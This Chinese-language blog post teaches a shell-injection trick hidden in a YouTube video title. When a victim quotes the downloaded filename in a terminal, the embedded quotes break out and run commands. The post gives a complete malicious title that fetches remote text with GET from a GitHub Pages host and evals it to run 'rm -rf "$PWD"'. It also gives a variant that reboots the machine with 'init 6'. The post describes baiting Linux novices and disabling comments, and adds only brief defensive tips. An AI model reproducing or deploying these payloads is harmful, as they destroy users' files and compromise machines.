新年要到了 (◔‿^) ♥， 也是家家户户大扫除的时候。
今天，我们来学如何善用 youtube, 然后帮小白的电脑大扫除。
首先，我们要准备一个 malicious 的视频标题:
我们的目标是小白使用 terminal 播放视频, 他想用单引号来 escape 下载好的视频标题，所以只要那个标题的中间多了两个单引号，那么小白外围的单引号就等于抵消成两个 tokens。
假设正常的标题是
ABC<空格>DEF , 直接给 player 播放就会当成 ABC 和 DEF 两个 token(视频标题)，可是我们没有视频叫 ABC, 也没有视频叫 DEF, 我们只有叫 ABC<空格>DEF 的视频， 所以给 player 播放就会 error。
这时候，小白就会加单引号或双引号，它就会变成
'ABC<空格>DEF' 完整的单个 token, 然后 player 就能顺利播放。
可是如果视频标题是
ABC ' ' DEF ， 那么如果小白没留意到中间的单引号，反而习惯性的在外围加上单引号， 就会变成
'ABC' 'DEF' ， 也就是没 escape 到， 仍然是把一个视频名字分成两个 token， 当然无法播放。
如果视频标题是
ABC ' XXX 指令 ' DEF ， 那么一旦不小心单引号 escape, 就会变成
' ABC ' XXX 指令 ' DEF '， 也就是
4 个单引号和三个 tokens ，前后 token 是分开的视频名字，中间的 token 就是想要运行的指令。但是这样是不够的，要加上 ; colon，如
' ABC '; XXX 指令; ' DEF ' ，才能让 shell interpreter 把 XXX 当作可以运行的指令。那个第二个
; colon 取决于你的指令是什么，是 optional 的。其它选择是 &&。由于 youtube 会转换 || 去 underscore， 所以不能 || 或 pipeline。除此之外，星号 (expansion 用途) 会转去 underscore， < 和 > (重定向用途)不能当标题，/ (网址用途) 不能当文件命名，这些限制很大程度考验我们要如何设计标题。
小白特地 escape 反而变到没 escape, 我称这招为 "
Malicious Anti-escape "
懂了原理后，让我们来精心炮制 malicious 视频标题 :p
先用指令
mkdir -p test/a/b/c; touch test/a/b/h; touch test/lala; cd test; l 准备一些 dummy dirs/files
用 touch 做标题，然后用 mplayer 实验。我上面讲过需要中间
4 个单引号 ，下面那个 touch 外面是小白放的所以不用制作, 只需要制作中间的那个单引号。要制作单引号的方法之一是外围两个单引号终止左右边从而变成 2 个 tokens， 然后两个双引号保护单引号， 就成为 '
" '
" '。三个 tokens。
因为很多小白都懂 rm -rf， 所以我们要把它丢在"不容易辨认"的 HTTP 请求里头。可是也有小白懂 wget 和 curl，所以必须用罕见且看起来不像指令的英文字。第一种选择是蛮正常的 http(httpie 指令)，不过由于电脑装上 httpie 的人应该都懂 http， 所以不在考量之内。这时候默认安装且看起来不像指令的 GET 就脱颖而出了。`GET limkokhole.github.io` 会发出 HTTP 请求拿到纯文本 rm -rf "$PWD"。然后外围的 `` (backtick) 运行指令。我的例子只是 mention env variable 的可行性，如果你不要用 rm -rf "$PWD"， 而是直接来大名鼎鼎的 rm -rf ./*, 就可以省掉 eval。
拿到标题后，就去 github, clone 自己的 repo，然后修改成
rm -rf "$PWD" (当然只是讲吧了，上面的截屏已经是修改了，不然怎样 test)。因为等下文件命名不能用 slash， 所以不能用一般的 url shortening, 所以选用支持 subdomain 的 github:
然后浏览 http://limkokhole.github.io/ 就能可能看到修改后的
rm -rf "$PWD " (小更正: "$PWD" 忘记放 double quotes 来包含有空格的绝对路径~):
我们要去 youtube，上载和标题相似的视频:
上载完毕后，把标题改成:
The blit - The first Unix graphical multi-programming terminal by Rob Pike, x86_64 cpu';stty raw;eval `GET limkokhole.github.io`;' bell-lab protocol history 1970
如果太长， 之后改也可以，我最终调整至 The blit - Unix graphical multi-programming terminal';stty raw;eval `GET limkokhole.github.io`;' lab
publish 后，去 Advanced settings， 确保不要给人 comment/dislike 的机会, Save changes:
然后就搞掂了，坐等 linux 小白上钩, 下面是以上钩的角度所拍摄:
VIDEO
[1.] 用 autocomplete
[更新] 如果不小心 copy 到片名左边的单引号再 autocomplete 也是一样中（我当时自己也吓到一下，幸好我真的没傻到留着那个 github rm -rf。 囧)
[2.] 常 backup 重要的文件
[3.] 关注我的 blog, 提升电脑知识 :)
如果不要大扫除酱残忍，可以来个 harmless 一点的:
The blit - Unix graphical multi-programming terminal';init 6;'lab-DS6l7hLEatM.mp4
酱就只会 reboot 电脑而已 lor。
[更新]
我写这篇 blog 的 14 天后，gnu 的 ls 更改成
默认 quote 了:
其它讨论链接:
[1] [2] [3]
Youtube 加自己重复的 views 才 20 views，真正看我 blog 的人实际上只有小猫两三只，更别说看得懂，所以纯属巧合。
